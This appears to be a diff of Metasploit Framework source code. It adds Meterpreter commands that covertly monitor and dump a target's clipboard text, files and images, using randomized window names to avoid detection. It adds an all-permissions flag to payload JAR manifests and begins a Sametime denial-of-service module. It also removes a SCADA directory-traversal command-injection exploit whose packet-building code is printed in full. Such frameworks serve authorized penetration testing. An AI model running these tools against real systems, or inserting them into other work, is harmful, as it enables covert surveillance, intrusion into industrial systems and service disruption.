TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 38)
|
||||
|
||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 39)
|
||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40)
|
||||
|
||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 41)
|
||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 42)
|
||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 43)
|
||||
|
@ -40,6 +44,11 @@ TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX = TLV_META_TYPE_UINT | (TLV_TYPE_E
|
|||
TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47)
|
||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48)
|
||||
|
||||
TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50)
|
||||
TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51)
|
||||
TLV_TYPE_EXT_CLIPBOARD_MON_DUMP = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 52)
|
||||
TLV_TYPE_EXT_CLIPBOARD_MON_PURGE = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 53)
|
||||
|
||||
TLV_TYPE_EXT_ADSI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 55)
|
||||
TLV_TYPE_EXT_ADSI_FILTER = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 56)
|
||||
TLV_TYPE_EXT_ADSI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 57)
|
||||
|
|
|
@ -49,10 +49,9 @@ class Config
|
|||
get_interfaces().each(&block)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of network interfaces with each element.
|
||||
#
|
||||
# being an Interface
|
||||
# @return [Array<Interface>]
|
||||
def get_interfaces
|
||||
request = Packet.create_request('stdapi_net_config_get_interfaces')
|
||||
ifaces = []
|
||||
|
|
|
@ -30,7 +30,7 @@ class Config
|
|||
def getuid
|
||||
request = Packet.create_request('stdapi_sys_config_getuid')
|
||||
response = client.send_request(request)
|
||||
return client.unicode_filter_encode( response.get_tlv_value(TLV_TYPE_USER_NAME) )
|
||||
client.unicode_filter_encode( response.get_tlv_value(TLV_TYPE_USER_NAME) )
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -53,14 +53,15 @@ class Config
|
|||
result[var_name] = var_value
|
||||
end
|
||||
|
||||
return result
|
||||
result
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the value of a single requested environment variable name
|
||||
#
|
||||
def getenv(var_name)
|
||||
getenvs(var_name)[var_name]
|
||||
_, value = getenvs(var_name).first
|
||||
value
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -92,7 +93,7 @@ class Config
|
|||
req = Packet.create_request('stdapi_sys_config_steal_token')
|
||||
req.add_tlv(TLV_TYPE_PID, pid.to_i)
|
||||
res = client.send_request(req)
|
||||
return client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) )
|
||||
client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) )
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -101,7 +102,7 @@ class Config
|
|||
def drop_token
|
||||
req = Packet.create_request('stdapi_sys_config_drop_token')
|
||||
res = client.send_request(req)
|
||||
return client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) )
|
||||
client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) )
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -114,7 +115,7 @@ class Config
|
|||
res.each(TLV_TYPE_PRIVILEGE) do |p|
|
||||
ret << p.value
|
||||
end
|
||||
return ret
|
||||
ret
|
||||
end
|
||||
|
||||
protected
|
||||
|
|
|
@ -5,7 +5,6 @@ module Rex
|
|||
module Post
|
||||
module Meterpreter
|
||||
module Ui
|
||||
|
||||
###
|
||||
#
|
||||
# Extended API window management user interface.
|
||||
|
@ -22,8 +21,14 @@ class Console::CommandDispatcher::Extapi::Clipboard
|
|||
#
|
||||
def commands
|
||||
{
|
||||
"clipboard_get_data" => "Read the victim's current clipboard (text, files, images)",
|
||||
"clipboard_set_text" => "Write text to the victim's clipboard"
|
||||
"clipboard_get_data" => "Read the target's current clipboard (text, files, images)",
|
||||
"clipboard_set_text" => "Write text to the target's clipboard",
|
||||
"clipboard_monitor_start" => "Start the clipboard monitor",
|
||||
"clipboard_monitor_pause" => "Pause the active clipboard monitor",
|
||||
"clipboard_monitor_resume" => "Resume the paused clipboard monitor",
|
||||
"clipboard_monitor_dump" => "Dump all captured clipboard content",
|
||||
"clipboard_monitor_purge" => "Delete all captured cilpboard content without dumping it",
|
||||
"clipboard_monitor_stop" => "Stop the clipboard monitor"
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -39,19 +44,19 @@ class Console::CommandDispatcher::Extapi::Clipboard
|
|||
#
|
||||
@@get_data_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner" ],
|
||||
"-d" => [ true, "Download non-text content to the specified folder (or current folder)", nil ]
|
||||
"-d" => [ true, "Download non-text content to the specified folder (default: current dir)", nil ]
|
||||
)
|
||||
|
||||
def print_clipboard_get_data_usage
|
||||
print(
|
||||
"\nUsage: clipboard_get_data [-h] [-d]\n\n" +
|
||||
"Attempts to read the data from the victim's clipboard. If the data is in a\n" +
|
||||
"Attempts to read the data from the target's clipboard. If the data is in a\n" +
|
||||
"supported format, it is read and returned to the user.\n" +
|
||||
@@get_data_opts.usage + "\n")
|
||||
end
|
||||
|
||||
#
|
||||
# Get the data from the victim's clipboard
|
||||
# Get the data from the target's clipboard
|
||||
#
|
||||
def cmd_clipboard_get_data(*args)
|
||||
download_content = false
|
||||
|
@ -67,79 +72,14 @@ class Console::CommandDispatcher::Extapi::Clipboard
|
|||
end
|
||||
}
|
||||
|
||||
loot_dir = download_path || "."
|
||||
if not ::File.directory?( loot_dir )
|
||||
::FileUtils.mkdir_p( loot_dir )
|
||||
end
|
||||
dump = client.extapi.clipboard.get_data(download_content)
|
||||
|
||||
# currently we only support text values
|
||||
results = client.extapi.clipboard.get_data(download_content)
|
||||
|
||||
if results.length == 0
|
||||
if dump.length == 0
|
||||
print_error( "The current Clipboard data format is not supported." )
|
||||
return false
|
||||
end
|
||||
|
||||
results.each { |r|
|
||||
case r[:type]
|
||||
when :text
|
||||
print_line
|
||||
print_line( "Current Clipboard Text" )
|
||||
print_line( "======================" )
|
||||
print_line
|
||||
print_line( r[:data] )
|
||||
|
||||
when :jpg
|
||||
print_line
|
||||
print_line( "Clipboard Image Dimensions: #{r[:width]}x#{r[:height]}" )
|
||||
|
||||
if download_content
|
||||
file = Rex::Text.rand_text_alpha(8) + ".jpg"
|
||||
path = File.join( loot_dir, file )
|
||||
path = ::File.expand_path( path )
|
||||
::File.open( path, 'wb' ) do |f|
|
||||
f.write r[:data]
|
||||
end
|
||||
print_good( "Clipboard image saved to #{path}" )
|
||||
else
|
||||
print_line( "Re-run with -d to download image." )
|
||||
end
|
||||
|
||||
when :files
|
||||
if download_content
|
||||
loot_dir = ::File.expand_path( loot_dir )
|
||||
print_line
|
||||
print_status( "Downloading Clipboard Files ..." )
|
||||
r[:data].each { |f|
|
||||
download_file( loot_dir, f[:name] )
|
||||
}
|
||||
print_good( "Downloaded #{r[:data].length} file(s)." )
|
||||
print_line
|
||||
else
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Current Clipboard Files',
|
||||
'Indent' => 0,
|
||||
'SortIndex' => 0,
|
||||
'Columns' => [
|
||||
'File Path', 'Size (bytes)'
|
||||
]
|
||||
)
|
||||
|
||||
total = 0
|
||||
r[:data].each { |f|
|
||||
table << [f[:name], f[:size]]
|
||||
total += f[:size]
|
||||
}
|
||||
|
||||
print_line
|
||||
print_line(table.to_s)
|
||||
|
||||
print_line( "#{r[:data].length} file(s) totalling #{total} bytes" )
|
||||
end
|
||||
end
|
||||
|
||||
print_line
|
||||
}
|
||||
parse_dump(dump, download_content, download_content, download_path)
|
||||
return true
|
||||
end
|
||||
|
||||
|
@ -150,7 +90,7 @@ class Console::CommandDispatcher::Extapi::Clipboard
|
|||
"-h" => [ false, "Help banner" ]
|
||||
)
|
||||
|
||||
def clipboard_set_text_usage
|
||||
def print_clipboard_set_text_usage
|
||||
print(
|
||||
"\nUsage: clipboard_set_text [-h] <text>\n\n" +
|
||||
"Set the target's clipboard to the given text value.\n\n")
|
||||
|
@ -165,15 +105,270 @@ class Console::CommandDispatcher::Extapi::Clipboard
|
|||
@@set_text_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
clipboard_set_text_usage
|
||||
print_clipboard_set_text_usage
|
||||
return true
|
||||
end
|
||||
}
|
||||
|
||||
return client.extapi.clipboard.set_text(args.join(" "))
|
||||
return client.extapi.clipboard.set_text(args.join(" "))
|
||||
end
|
||||
|
||||
protected
|
||||
#
|
||||
# Options for the clipboard_monitor_start command.
|
||||
#
|
||||
@@monitor_start_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner" ],
|
||||
"-i" => [ true, "Capture image content when monitoring (default: true)" ]
|
||||
)
|
||||
|
||||
#
|
||||
# Help for the clipboard_monitor_start command.
|
||||
#
|
||||
def print_clipboard_monitor_start_usage
|
||||
print(
|
||||
"\nUsage: clipboard_monitor_start [-i true|false] [-h]\n\n" +
|
||||
"Starts a background clipboard monitoring thread. The thread watches\n" +
|
||||
"the clipboard on the target, under the context of the current desktop, and when\n" +
|
||||
"changes are detected the contents of the clipboard are captured. Contents can be\n" +
|
||||
"dumped periodically. Image content can be captured as well (and will be by default)\n" +
|
||||
"however this can consume quite a bit of memory.\n\n" +
|
||||
@@monitor_start_opts.usage + "\n")
|
||||
end
|
||||
|
||||
#
|
||||
# Start the clipboard monitor.
|
||||
#
|
||||
def cmd_clipboard_monitor_start(*args)
|
||||
capture_images = true
|
||||
|
||||
@@monitor_start_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-i"
|
||||
# default this to true
|
||||
capture_images = val.downcase != 'false'
|
||||
when "-h"
|
||||
print_clipboard_monitor_start_usage
|
||||
return true
|
||||
end
|
||||
}
|
||||
|
||||
client.extapi.clipboard.monitor_start({
|
||||
# random class and window name so that it isn't easy
|
||||
# to track via a script
|
||||
:wincls => Rex::Text.rand_text_alpha(8),
|
||||
:cap_img => capture_images
|
||||
})
|
||||
|
||||
print_good("Clipboard monitor started")
|
||||
end
|
||||
|
||||
#
|
||||
# Options for the clipboard_monitor_purge command.
|
||||
#
|
||||
@@monitor_purge_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner" ]
|
||||
)
|
||||
|
||||
#
|
||||
# Help for the clipboard_monitor_purge command.
|
||||
#
|
||||
def print_clipboard_monitor_purge_usage
|
||||
print("\nUsage: clipboard_monitor_purge [-h]\n\n" +
|
||||
"Purge the captured contents from the monitor. This does not stop\n" +
|
||||
"the monitor from running, it just removes captured content.\n\n" +
|
||||
@@monitor_purge_opts.usage + "\n")
|
||||
end
|
||||
|
||||
#
|
||||
# Purge the clipboard monitor captured contents
|
||||
#
|
||||
def cmd_clipboard_monitor_purge(*args)
|
||||
@@monitor_purge_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_clipboard_monitor_purge_usage
|
||||
return true
|
||||
end
|
||||
}
|
||||
client.extapi.clipboard.monitor_purge
|
||||
print_good("Captured clipboard contents purged successfully")
|
||||
end
|
||||
|
||||
#
|
||||
# Options for the clipboard_monitor_pause command.
|
||||
#
|
||||
@@monitor_pause_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner" ]
|
||||
)
|
||||
|
||||
#
|
||||
# Help for the clipboard_monitor_pause command.
|
||||
#
|
||||
def print_clipboard_monitor_pause_usage
|
||||
print("\nUsage: clipboard_monitor_pause [-h]\n\n" +
|
||||
"Pause the currently running clipboard monitor thread.\n\n" +
|
||||
@@monitor_pause_opts.usage + "\n")
|
||||
end
|
||||
|
||||
#
|
||||
# Pause the clipboard monitor captured contents
|
||||
#
|
||||
def cmd_clipboard_monitor_pause(*args)
|
||||
@@monitor_pause_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_clipboard_monitor_pause_usage
|
||||
return true
|
||||
end
|
||||
}
|
||||
client.extapi.clipboard.monitor_pause
|
||||
print_good("Clipboard monitor paused successfully")
|
||||
end
|
||||
|
||||
#
|
||||
# Options for the clipboard_monitor_resumse command.
|
||||
#
|
||||
@@monitor_resume_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner" ]
|
||||
)
|
||||
|
||||
#
|
||||
# Help for the clipboard_monitor_resume command.
|
||||
#
|
||||
def print_clipboard_monitor_resume_usage
|
||||
print("\nUsage: clipboard_monitor_resume [-h]\n\n" +
|
||||
"Resume the currently paused clipboard monitor thread.\n\n" +
|
||||
@@monitor_resume_opts.usage + "\n")
|
||||
end
|
||||
|
||||
#
|
||||
# resume the clipboard monitor captured contents
|
||||
#
|
||||
def cmd_clipboard_monitor_resume(*args)
|
||||
@@monitor_resume_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_clipboard_monitor_resume_usage
|
||||
return true
|
||||
end
|
||||
}
|
||||
client.extapi.clipboard.monitor_resume
|
||||
print_good("Clipboard monitor resumed successfully")
|
||||
end
|
||||
|
||||
#
|
||||
# Options for the clipboard_monitor_dump command.
|
||||
#
|
||||
@@monitor_dump_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner" ],
|
||||
"-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ],
|
||||
"-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ],
|
||||
"-p" => [ true, "Purge the contents of the monitor once dumped (default: true)" ],
|
||||
"-d" => [ true, "Download non-text content to the specified folder (default: current dir)" ]
|
||||
)
|
||||
|
||||
#
|
||||
# Help for the clipboard_monitor_dump command.
|
||||
#
|
||||
def print_clipboard_monitor_dump_usage
|
||||
print(
|
||||
"\nUsage: clipboard_monitor_dump [-d true|false] [-d downloaddir] [-h]\n\n" +
|
||||
"Dump the capture clipboard contents to the local machine..\n\n" +
|
||||
@@monitor_dump_opts.usage + "\n")
|
||||
end
|
||||
|
||||
#
|
||||
# Dump the clipboard monitor contents to the local machine.
|
||||
#
|
||||
def cmd_clipboard_monitor_dump(*args)
|
||||
purge = true
|
||||
download_images = true
|
||||
download_files = true
|
||||
download_path = nil
|
||||
|
||||
@@monitor_dump_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-d"
|
||||
download_path = val
|
||||
when "-i"
|
||||
download_images = val.downcase != 'false'
|
||||
when "-f"
|
||||
download_files = val.downcase != 'false'
|
||||
when "-p"
|
||||
purge = val.downcase != 'false'
|
||||
when "-h"
|
||||
print_clipboard_monitor_dump_usage
|
||||
return true
|
||||
end
|
||||
}
|
||||
|
||||
dump = client.extapi.clipboard.monitor_dump({
|
||||
:include_images => download_images,
|
||||
:purge => purge
|
||||
})
|
||||
|
||||
parse_dump(dump, download_images, download_files, download_path)
|
||||
|
||||
print_good("Clipboard monitor dumped")
|
||||
end
|
||||
|
||||
#
|
||||
# Options for the clipboard_monitor_stop command.
|
||||
#
|
||||
@@monitor_stop_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner" ],
|
||||
"-x" => [ true, "Indicate if captured clipboard data should be dumped (default: true)" ],
|
||||
"-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ],
|
||||
"-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ],
|
||||
"-d" => [ true, "Download non-text content to the specified folder (default: current dir)" ]
|
||||
)
|
||||
|
||||
#
|
||||
# Help for the clipboard_monitor_stop command.
|
||||
#
|
||||
def print_clipboard_monitor_stop_usage
|
||||
print(
|
||||
"\nUsage: clipboard_monitor_stop [-d true|false] [-x true|false] [-d downloaddir] [-h]\n\n" +
|
||||
"Stops a clipboard monitor thread and returns the captured data to the local machine.\n\n" +
|
||||
@@monitor_stop_opts.usage + "\n")
|
||||
end
|
||||
|
||||
#
|
||||
# Stop the clipboard monitor.
|
||||
#
|
||||
def cmd_clipboard_monitor_stop(*args)
|
||||
dump_data = true
|
||||
download_images = true
|
||||
download_files = true
|
||||
download_path = nil
|
||||
|
||||
@@monitor_stop_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-d"
|
||||
download_path = val
|
||||
when "-x"
|
||||
dump_data = val.downcase != 'false'
|
||||
when "-i"
|
||||
download_images = val.downcase != 'false'
|
||||
when "-f"
|
||||
download_files = val.downcase != 'false'
|
||||
when "-h"
|
||||
print_clipboard_monitor_stop_usage
|
||||
return true
|
||||
end
|
||||
}
|
||||
|
||||
dump = client.extapi.clipboard.monitor_stop({
|
||||
:dump => dump_data,
|
||||
:include_images => download_images
|
||||
})
|
||||
|
||||
parse_dump(dump, download_images, download_files, download_path) if dump_data
|
||||
|
||||
print_good("Clipboard monitor stopped")
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def download_file( dest_folder, source )
|
||||
stat = client.fs.file.stat( source )
|
||||
|
@ -182,17 +377,64 @@ protected
|
|||
|
||||
if stat.directory?
|
||||
client.fs.dir.download( dest, source, true, true ) { |step, src, dst|
|
||||
print_line( "#{step.ljust(11)}: #{src} -> #{dst}" )
|
||||
print_line( "#{step.ljust(11)} : #{src} -> #{dst}" )
|
||||
client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
|
||||
}
|
||||
elsif stat.file?
|
||||
client.fs.file.download( dest, source ) { |step, src, dst|
|
||||
print_line( "#{step.ljust(11)}: #{src} -> #{dst}" )
|
||||
print_line( "#{step.ljust(11)} : #{src} -> #{dst}" )
|
||||
client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
def parse_dump(dump, get_images, get_files, download_path)
|
||||
loot_dir = download_path || "."
|
||||
if (get_images || get_files) && !::File.directory?( loot_dir )
|
||||
::FileUtils.mkdir_p( loot_dir )
|
||||
end
|
||||
|
||||
dump.each do |ts, elements|
|
||||
elements.each do |type, v|
|
||||
title = "#{type} captured at #{ts}"
|
||||
under = "=" * title.length
|
||||
print_line(title)
|
||||
print_line(under)
|
||||
|
||||
case type
|
||||
when 'Text'
|
||||
print_line(v)
|
||||
|
||||
when 'Files'
|
||||
total = 0
|
||||
v.each do |f|
|
||||
print_line("Remote Path : #{f[:name]}")
|
||||
print_line("File size : #{f[:size]} bytes")
|
||||
if get_files
|
||||
download_file( loot_dir, f[:name] )
|
||||
end
|
||||
print_line
|
||||
total += f[:size]
|
||||
end
|
||||
|
||||
when 'Image'
|
||||
print_line("Dimensions : #{v[:width]} x #{v[:height]}")
|
||||
if get_images and !v[:data].nil?
|
||||
file = "#{ts.gsub(/\D+/, '')}-#{Rex::Text.rand_text_alpha(8)}.jpg"
|
||||
path = File.join(loot_dir, file)
|
||||
path = ::File.expand_path(path)
|
||||
::File.open(path, 'wb') do |x|
|
||||
x.write v[:data]
|
||||
end
|
||||
print_line("Downloaded : #{path}")
|
||||
end
|
||||
end
|
||||
print_line(under)
|
||||
print_line
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -36,10 +36,13 @@ class Jar < Archive
|
|||
#
|
||||
def build_manifest(opts={})
|
||||
main_class = opts[:main_class] || nil
|
||||
app_name = opts[:app_name] || nil
|
||||
existing_manifest = nil
|
||||
|
||||
@manifest = "Manifest-Version: 1.0\r\n"
|
||||
@manifest << "Main-Class: #{main_class}\r\n" if main_class
|
||||
@manifest << "Application-Name: #{app_name}\r\n" if app_name
|
||||
@manifest << "Permissions: all-permissions\r\n"
|
||||
@manifest << "\r\n"
|
||||
@entries.each { |e|
|
||||
next if e.name =~ %r|/$|
|
||||
|
|
|
@ -52,12 +52,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
})
|
||||
|
||||
if (res and (m = res.headers['Server'].match(/Boa\/(.*)/)))
|
||||
print_status("#{peer} - Boa Version Detected: #{m[1]}")
|
||||
vprint_status("#{peer} - Boa Version Detected: #{m[1]}")
|
||||
return Exploit::CheckCode::Safe if (m[1][0].ord-48>0) # boa server wrong version
|
||||
return Exploit::CheckCode::Safe if (m[1][3].ord-48>4)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
print_status("#{peer} - Not a Boa Server!")
|
||||
vprint_status("#{peer} - Not a Boa Server!")
|
||||
return Exploit::CheckCode::Safe # not a boa server
|
||||
end
|
||||
|
||||
|
|
|
@ -1,65 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
require 'msf/core/module/deprecated'
|
||||
include Msf::Module::Deprecated
|
||||
deprecated Date.new(2013, 12, 17), 'exploit/windows/scada/igss_exec_17'
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Interactive Graphical SCADA System Remote Command Injection',
|
||||
'Description' => %q{
|
||||
This module abuses a directory traversal flaw in Interactive
|
||||
Graphical SCADA System v9.00. In conjunction with the traversal
|
||||
flaw, if opcode 0x17 is sent to the dc.exe process, an attacker
|
||||
may be able to execute arbitrary system commands.
|
||||
},
|
||||
'Author' => [ 'Luigi Auriemma', 'MC' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-1566'],
|
||||
[ 'OSVDB', '72349'],
|
||||
[ 'URL', 'http://aluigi.org/adv/igss_8-adv.txt' ],
|
||||
],
|
||||
'DisclosureDate' => 'Mar 21 2011'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(12397),
|
||||
OptString.new('CMD', [ false, 'The OS command to execute', 'echo metasploit > %SYSTEMDRIVE%\\metasploit.txt']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
connect
|
||||
|
||||
exec = datastore['CMD']
|
||||
|
||||
packet = [0x00000100].pack('V') + [0x00000000].pack('V')
|
||||
packet << [0x00000100].pack('V') + [0x00000017].pack('V')
|
||||
packet << [0x00000000].pack('V') + [0x00000000].pack('V')
|
||||
packet << [0x00000000].pack('V') + [0x00000000].pack('V')
|
||||
packet << [0x00000000].pack('V') + [0x00000000].pack('V')
|
||||
packet << [0x00000000].pack('V')
|
||||
packet << "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\"
|
||||
packet << "windows\\system32\\cmd.exe\" /c #{exec}"
|
||||
packet << "\x00" * (143 + exec.length)
|
||||
|
||||
print_status("Sending command: #{exec}")
|
||||
sock.put(packet)
|
||||
sock.get_once(-1,0.5)
|
||||
disconnect
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
[
|
||||
Opt::RPORT(21),
|
||||
OptString.new('FTPUSER', [true, "The backdoor account to use for login", 'ftpuser']),
|
||||
OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password']),
|
||||
OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password'])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
|
@ -59,7 +59,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
# device, then we're going to end up storing HTTP credentials that are not
|
||||
# correct. If there's a way to fingerprint the device, it should be done here.
|
||||
def check
|
||||
return true unless datastore['RUN_CHECK']
|
||||
is_modicon = false
|
||||
vprint_status "#{ip}:#{rport} - FTP - Checking fingerprint"
|
||||
connect rescue nil
|
||||
|
@ -68,22 +67,26 @@ class Metasploit3 < Msf::Auxiliary
|
|||
is_modicon = check_banner()
|
||||
disconnect
|
||||
else
|
||||
print_error "#{ip}:#{rport} - FTP - Cannot connect, skipping"
|
||||
return false
|
||||
vprint_error "#{ip}:#{rport} - FTP - Cannot connect, skipping"
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if is_modicon
|
||||
print_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint"
|
||||
vprint_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint"
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
print_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch"
|
||||
vprint_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch"
|
||||
end
|
||||
return is_modicon
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def run
|
||||
if check()
|
||||
if setup_ftp_connection()
|
||||
grab()
|
||||
end
|
||||
if datastore['RUN_CHECK'] and check == Exploit::CheckCode::Detected
|
||||
print_status("Service detected.")
|
||||
grab() if setup_ftp_connection()
|
||||
else
|
||||
grab() if setup_ftp_connection()
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def check
|
||||
# http://blog.nodejs.org/2013/08/21/node-v0-10-17-stable/
|
||||
# check if we are < 0.10.17 by seeing if a malformed HTTP request is accepted
|
||||
status = Exploit::CheckCode::Unknown
|
||||
status = Exploit::CheckCode::Safe
|
||||
connect
|
||||
sock.put(http_request("GEM"))
|
||||
begin
|
||||
|
@ -56,6 +56,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
rescue EOFError
|
||||
# checking against >= 0.10.17 raises EOFError because there is no
|
||||
# response to GEM requests
|
||||
vprint_error("Failed to determine the vulnerable state due to an EOFError (no response)")
|
||||
return Msf::Exploit::CheckCode::Unknown
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
|
|
@ -0,0 +1,235 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'IBM Lotus Sametime WebPlayer DoS',
|
||||
'Description' => %q{
|
||||
This module exploits a known flaw in the IBM Lotus Sametime WebPlayer
|
||||
version 8.5.2.1392 (and prior) to cause a denial of service condition
|
||||
against specific users. For this module to function the target user
|
||||
must be actively logged into the IBM Lotus Sametime server and have
|
||||
the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a
|
||||
browser extension. The user should have the WebPlayer plug-in active
|
||||
(i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Chris John Riley', # Vulnerability discovery
|
||||
'kicks4kittens' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
['DOS',
|
||||
{
|
||||
'Description' => 'Cause a Denial Of Service condition against a connected user'
|
||||
}
|
||||
],
|
||||
['CHECK',
|
||||
{
|
||||
'Description' => 'Checking if targeted user is online'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultAction' => 'DOS',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-3986' ],
|
||||
[ 'OSVDB', '99552' ],
|
||||
[ 'BID', '63611'],
|
||||
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ],
|
||||
[ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ]
|
||||
],
|
||||
'DisclosureDate' => 'Nov 07 2013'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(5060),
|
||||
OptAddress.new('RHOST', [true, 'The Sametime Media Server']),
|
||||
OptString.new('SIPURI', [
|
||||
true,
|
||||
'The SIP URI of the user to be targeted',
|
||||
'<target_email_address>@<sametime_media_server_FQDN>'
|
||||
]),
|
||||
OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0])
|
||||
], self.class)
|
||||
|
||||
